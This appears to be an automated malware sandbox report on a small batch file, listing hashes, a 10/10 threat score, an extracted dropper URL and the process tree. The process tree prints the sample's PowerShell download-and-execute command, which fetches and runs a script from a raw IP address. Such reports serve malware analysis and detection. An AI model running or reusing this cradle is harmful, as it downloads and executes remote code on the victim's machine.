Analysis
-
max time kernel
140s -
max time network
143s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
06-05-2020 04:10
Static task
static1
Behavioral task
behavioral1
Sample
XxNTGzKz.bat
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
XxNTGzKz.bat
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
XxNTGzKz.bat
-
Size
190B
-
MD5
3678f90ffe3dce18e97095fe049f6cc7
-
SHA1
8e8d141ad77c44b2c8b835eacd67b039f0ee62e8
-
SHA256
3a7e391aaff6e03154e366b5df819a3d550d260df5a13e107f691b57c4811f4d
-
SHA512
1466e273b77eb1b62b58b5c39798c9a8a2ac44a1acdd3d893e2768b8a34ff4c0815004c8ab497fca8e40a6b1f65c9a6a2df4b19bdece5bf3ee9471a18b893716
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/XxNTGzKz
Signatures
-
Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.
Processes:
description flow ioc HTTP URL 5 http://www.msftconnecttest.com/connecttest.txt -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2440 1348 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 2440 WerFault.exe Token: SeBackupPrivilege 2440 WerFault.exe Token: SeDebugPrivilege 2440 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe 2440 WerFault.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XxNTGzKz.bat"1⤵PID:3608
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/XxNTGzKz');Invoke-HDELSZM;Start-Sleep -s 10000"2⤵PID:1348
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2440